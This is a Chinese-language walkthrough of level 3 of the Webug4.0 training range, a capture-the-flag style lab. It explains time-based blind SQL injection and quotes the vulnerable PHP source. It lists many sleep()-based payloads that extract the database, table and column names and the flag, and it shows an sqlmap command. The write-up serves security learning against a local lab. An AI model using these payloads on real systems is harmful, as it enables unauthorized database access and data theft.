Webug4.0靶場通關筆記03- 第3關SQL注入之時間盲注(手注法+腳本法 兩種方法)

目錄

一、源碼分析

1.分析閉合

2.分析輸出

(1)查詢成功

(2)查詢失敗

(3)SQL語句執行報錯

二、第03關 延時注入

1.打開靶場

2.SQL手注

(1)盲注分析

(2)獲取數據庫長度

(3)獲取數據庫名稱

(4)獲取數據庫中表名的數量

(5)獲取當前數據庫的表名長度

(6)獲取當前數據庫的表名

(7)獲取env_list表的列名

(8)獲取env_list的所有字段

3.sqlmap滲透

(1)bp抓包保存

(2)sqlmap注入

(3)獲取flag

三、總結


本文通過《Webug4.0靶場通關筆記系列》來進行Webug4.0靶場的滲透實戰,本文講解Webug4.0靶場第3關時間盲注的滲透實戰,該關卡源碼與第02關一致,只是滲透方法由布爾盲注改為時間盲注。

一、源碼分析

打開靶場,會發現第02關和第03關的源碼相同,均使用bool_injection.php文件

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}if (isset($_GET["id"])) {if (!empty($_GET["id"])) {$sql = "SELECT * FROM sqlinjection WHERE id = '{$_GET['id']}'";$res = $dbConnect->query($sql);}
}
require_once TPMELATE."/bool-injection_1.html";

1.分析閉合

SQL語句如下所示,使用單引號閉合參數id。

SELECT * FROM sqlinjection WHERE id = '{$_GET['id']}'

2.分析輸出

相對于第01關,區別就是這一關卡對于SQL查詢錯誤的情況沒有進行輸出報錯信息。

(1)查詢成功

這種情況查到了的話,輸出實際內容,?當參數id=2時,如下所示顯示hello。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=2

?嘗試萬能注入,如下所示。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=-1' or 1=1#

(2)查詢失敗

沒查到的話,無報錯,顯示如下。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=-1

(3)SQL語句執行報錯

比如說加上單引號等信息,此時SQL語句錯誤,卻也輸出同樣的內容。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=-1'

綜上所述,此注入為不屬于嚴格意義的布爾型注入(雖然錯誤時無報錯,但是正確時卻又多種輸出),同時仍然可以使用UNION法進行滲透,故而本關卡屬于名不副實,不算是布爾注入。

二、第03關 延時注入

1.打開靶場

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=1

2.SQL手注

(1)盲注分析

由于SQL查詢失敗和SQL語句執行有誤的打印信息相同,這部分存在時間盲注風險。構造注入命令如下所示。

id=1' and if(length(database())>1,sleep(3),1) %23

注入語句如下所示。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=1' and if(length(database())>1,sleep(3),1) %23

如下響應時間大于3秒,存在SQL注入風險。

(2)獲取數據庫長度

判斷數據庫的長度的注入命令如下所示,

id=1' and if(length(database())=1,sleep(3),1)%23
id=1' and if(length(database())=2,sleep(3),1)%23
id=1' and if(length(database())=3,sleep(3),1)%23
id=1' and if(length(database())=4,sleep(3),1)%23
id=1' and if(length(database())=5,sleep(3),1)%23#成功

如下所示,獲取到數據庫長度為5

(3)獲取數據庫名稱

id=1' and if(substr((select database()),1,1)='w',sleep(5),1)%23
id=1' and if(substr((select database()),2,1)='e',sleep(5),1)%23
id=1' and if(substr((select database()),3,1)='b',sleep(5),1)%23
id=1' and if(substr((select database()),4,1)='u',sleep(5),1)%23
id=1' and if(substr((select database()),5,1)='g',sleep(5),1)%23

如下所示,滲透獲取數據庫的名稱為webug

?(4)獲取數據庫中表名的數量

id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=3,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=7,sleep(5),1)%23

?基于此,獲取到共有7個表格。

(5)獲取當前數據庫的表名長度

時間注入命令如下所示。

id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=1,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=2,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=3,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=4,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=5,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=6,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=7,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=8,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=9,sleep(5),1)%23

如下所示,第一個表格長度為9。?

?爆出數據庫第2個表格長度。

id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=1,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=2,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=3,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=4,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=5,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=6,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=7,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=8,sleep(5),1)%23 #成功

如上所示第2個表格長度為8,可以求的websec數據庫的每個表長度,分別9、8、8、4·、12、4、9 。

(6)獲取當前數據庫的表名

第一個表格的名字,如下所示為data_crud。

id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='d',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))='a',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))='t',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=a',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))='_',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))='c',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))='r',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))='u',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))='d',sleep(5),1)%23

第二個表名為env_list,注入命令如下所示。

id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))='e',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))='n',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))='v',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))='_',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))='l',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),6,1))='i',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),7,1))='s',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),8,1))='t',sleep(5),1)%23

?

以此類推,所有表名分別為data_crud,env_list,env_path,flag,sqlinjection,user,user_test 。

(7)獲取env_list表的列名

?如下所示,列長度為2。

id=1' and if((select length(column_name) from information_schema.COLUMNS where TABLE_NAME='env_list' limit 0,1) =1,sleep(5),1)%23
id=1' and if((select length(column_name) from information_schema.COLUMNS where TABLE_NAME='env_list' limit 0,1) =2,sleep(5),1)%23

第一列的列名注入命令如下所示。

id=1' and if(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME ='env_list' limit 0,1),1,1)='i',sleep(5),1)%23
id=1' and if(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME ='env_list' limit 0,1),2,1)='d',sleep(5),1)%23

如下可知第1列的列名為id,如下所示。

以此類推,可以獲取所有列的名稱,分別為id, envName, envDesc, envIntegration, delFlag, envFlag, level, type。

(8)獲取env_list的所有字段

?如下獲取env_list表flag列的第一個字段,如下所示為dfafdasfafdsadfa。

id=1' and if((substr((select flag from flag limit 0,1),1,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),2,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),3,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),4,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),5,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),6,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),7,1))='s',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),8,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),9,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),10,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),11,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),12,1))='s',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),13,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),14,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),15,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),16,1))='a',sleep(5),1)%23

時間注入相對耗時,建議使用bp半自動化或者sqlmap或者python腳本進行注入,如下所示,最后獲取到的flag信息如下所示。

第三關的flag為gfdgdfsdg。

3.sqlmap滲透

(1)bp抓包保存

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=1

bp抓包并將報文保存為webug02.txt。

?

(2)sqlmap注入

由于第03關與第02關源碼一樣,故而可以這里使用webug02.txt進行注入,完整交互如下

為了區分,這里可以加上--tech T命令。

 sqlmap -r webug02.txt --current-db --batch --tech T -D webug  -T env_list --dump

找到SQL盲注點,效果如下所示。

?

(3)獲取flag

如下所示,flag為gfdgdfsdg,滲透成功。

?

獲取的flag如下所示。

Flag: gfdgdfsdg

實際上時間注入非常慢且耗時過久,建議可以通過較快的方法實現注入就不要用時間盲注法,這里只是使用--current-db 參數獲取數據庫即可。

三、總結

SQL注入主要分析幾個內容。

(1)閉合方式是什么?webug靶場的第02關關卡為字符型,閉合方式為單引號。

(2)注入類別是什么?這部分是普通的字符型GET注入,可以使用時間型盲注,使用union法即可注入成功,也可以使用相對復雜的布爾注入方法。

(3)是否過濾了關鍵字?很明顯通過源碼,iwebsec的第02關和第03關卡沒有進行任何過濾。

了解了如上信息就可以針對性使用SQL注入法進行滲透,使用sqlmap工具滲透更是事半功倍,以上就是今天要講的webug靶場第03關注入內容,初學者建議按部就班先使用手動注入練習,再進行sqlmap滲透。不過能用簡單的方法注入成功,都不建議使用復雜的方法進行注入啊,否則是真的費時費力啊。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/82813.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/82813.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/82813.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【大模型學習網絡互聯】Memory-Mapped I/O MMIO語義與MEM語義

MMIO語義和MEM語義的區別 嗯&#xff0c;用戶要求更詳細地區分MMIO和MEM語義&#xff0c;看來之前的中文對比雖然系統但還不夠深入。用戶可能是嵌入式開發者或OS內核學習者&#xff0c;需要從硬件行為層面理解差異。 用戶連續追問MMIO相關概念&#xff0c;說明ta在接觸底層開發…

如何在使用kickstart安裝物理機操作系統的過程中核對服務器的SN

原因 在使用kickstart對物理機進行重裝的時候&#xff0c;由于自動化配置&#xff0c;掛載鏡像重啟之后就會自動化開始安裝部署&#xff0c;不夠安全&#xff0c;萬一選錯服務器沒有辦法回退。因此可以在kickstart的ks配置文件中新增服務器SN的校驗&#xff0c;當校驗不通過的…

spring4第4課-ioc控制反轉-詳解如何注入參數

堅持住&#xff0c;第四天&#xff0c;繼續學習spring4.詳解如何注入參數 先總結&#xff0c;主要有如下6種&#xff1a; 1&#xff0c;基本類型值&#xff1b; 2&#xff0c;注入 bean&#xff1b; 3&#xff0c;內部 bean&#xff1b; 4&#xff0c;null 值&#xff1b; 5&…

cf2067A

原題鏈接&#xff1a;https://codeforces.com/contest/2067/problem/A 題目背景&#xff1a; 給定x,y&#xff0c;判讀是否存在 n 滿足S(n) x&#xff0c;S(n 1) y。定義 S(a) 等于 a 的十進制位數之和。 思路&#xff1a; 不難發現一般 n 和 n 1 的位數之和相差為 1&…

微信小程序獲取手機號

詳細代碼 <t-button size"large" theme"primary" variant"outline" data-type"hasCancelBtn" bind:tap"showDialog" block style"display: none;">開放能力按鈕 </t-button> <t-dialog id"t-…

AI重構SEO關鍵詞精準定位

內容概要 隨著AI技術深度滲透數字營銷領域&#xff0c;傳統SEO關鍵詞定位模式正經歷系統性重構。基于自然語言處理&#xff08;NLP&#xff09;的智能語義分析引擎&#xff0c;可突破傳統關鍵詞工具的局限性&#xff0c;通過解析長尾搜索詞中的隱含意圖與語境關聯&#xff0c;…

四足機器人環境監測系統相關問題

一、在設計四足機器人監測與跟蹤系統整體架構時&#xff0c;你主要考慮了哪些因素&#xff1f;為什么這樣設計以確保系統的高效性與穩定性&#xff1f; 在設計四足機器人監測與跟蹤系統整體架構時&#xff0c;主要考慮了傳感器兼容性與通信效率、多任務并發處理能力、實時數據…

uniapp 開發安卓app 微信授權獲取昵稱 頭像登錄

在manifest.json中配置appid 以及appsecret uni.login({provider: weixin,success: function (loginRes) {console.log(loginRes.authResult);// 獲取用戶信息uni.getUserInfo({provider: weixin,success: function (infoRes) {console.log(用戶昵稱為&#xff1a; infoRes.u…

MySQL8.4組復制

https://dev.mysql.com/doc/refman/8.4/en/group-replication.html 1 什么是組復制 組復制主要解決了傳統異步復制主機宕機時可能造成主從節點數據不一致問題MySQL Group Replication&#xff0c;簡稱MGR將原有的gtid復制功能進行可增強&#xff0c;支持單主模式和多主模式組復…

Python后端開發實戰:從0到1搭建高可用API服務

引言 Python憑借其簡潔的語法和豐富的生態(如Django、Flask、FastAPI等框架),已成為后端開發的主流語言之一。本文將結合一個真實電商API項目,分享從架構設計到部署上線的完整流程,并總結開發過程中常見的坑與最佳實踐。 一、實戰案例:電商API開發流程 1.1 技術選型 框…

本地部署大模型llm+RAG向量檢索問答系統 deepseek chatgpt

項目視頻講解: 本地部署大模型llm+RAG向量檢索問答系統 deepseek chatgpt_嗶哩嗶哩_bilibili 運行結果:

aws instance store 的恢復

1: aws instance store 要在launch instance 才可以創建,而且,通過snapshot 恢復后,instance store 里面的數據會丟失。 下面是創建instance store 的過程,和通過兩種方式恢復,發現/etc/fstab 不同的寫法,有的不能啟動: [root@ip-xx ~]# lsblk NAME MAJ:MIN RM …

React 生命周期與 Hook 理解解析

從生命周期到 Hook&#xff1a;React 組件演進之路 React 組件的本質是管理渲染與副作用的統一體。Class 組件通過生命周期方法實現這一目標&#xff0c;而函數組件則依靠 Hook 系統達成相同效果。 Class 組件生命周期詳解 生命周期完整流程 Class 組件生命周期可分為三大階…

數字孿生技術賦能西門子安貝格工廠:全球智能制造標桿的數字化重構實踐

在工業4.0浪潮席卷全球制造業的當下&#xff0c;西門子安貝格電子制造工廠&#xff08;Electronic Works Amberg, EWA&#xff09;憑借數字孿生技術的深度應用&#xff0c;構建起全球制造業數字化轉型的典范。這座位于德國巴伐利亞州的“未來工廠”&#xff0c;通過虛實融合的數…

從Homebrew找到openssl.cnf文件并拷貝到Go項目下使用

安裝OpenSSL 在 macOS 上下載和安裝 OpenSSL 最常見和推薦的方式是使用 Homebrew&#xff0c;這是一個 macOS 缺失的包管理器。 如果您還沒有安裝 Homebrew&#xff0c;請先安裝它。安裝 Homebrew 后&#xff0c;安裝 OpenSSL 只需要一條命令。 步驟 1&#xff1a;安裝 Home…

Qt 的簡單示例 -- 地址簿

這個工程里有兩個窗口&#xff0c;都是QWidget派生的窗口 主窗口&#xff1a; 1. 運用了布局&#xff0c;按鈕控件&#xff0c;單行編輯框&#xff0c;富文本編輯框等窗口部件&#xff1b; 2. 運用了 QMap 類&#xff1b; 3. 實現了點擊按鈕彈出子窗口的功能&#xff0c;這里子…

kubernate解決 “cni0“ already has an IP address different from 10.244.0.1/24問題

問題 NetworkPlugin cni failed to set up pod “coredns-5d4b4db-jkmnl_kube-system” network: failed to set bridge addr: “cni0” already has an IP address different from 10.244.0.1/24 解決方案 這個問題通常是由于Flannel網絡插件殘留配置導致的IP地址沖突。以下…

QT+opecv如何更改圖片的拍攝路徑

如何更改相機拍攝圖片的路徑 前言&#xff1a;基礎夯實&#xff1a;效果展示&#xff1a;實現功能&#xff1a;遇到問題&#xff1a;未解決&#xff1a; 核心代碼&#xff1a; 前言&#xff1a; 最近在項目開發中遇到需要讓用戶更改相機拍攝路徑的問題&#xff0c;用戶可自己選…

66常用控件_QTableWidget的使用

目錄 代碼示例:使用QTableWidget Table Widget 使? QTableWidget 表??個表格控件. ?個表格中包含若??, 每???包含若?列. 表格中的每個單元格, 是?個 QTableWidgetItem 對象. QTableWidget 核??法 方法說明item(int row, int column)根據行數數列獲取指定的…

記一次edu未授權訪問漏洞

首先進入該網址是一個登錄界面&#xff0c;查看源代碼&#xff0c;找到js文件&#xff0c;發現存在js.map前端信息泄露&#xff0c;于是我們進行js還原。 得到前端的一些源代碼&#xff0c;以及路由API等&#xff0c;我們就可以通過這個源代碼&#xff0c;進行目錄遍歷&#xf…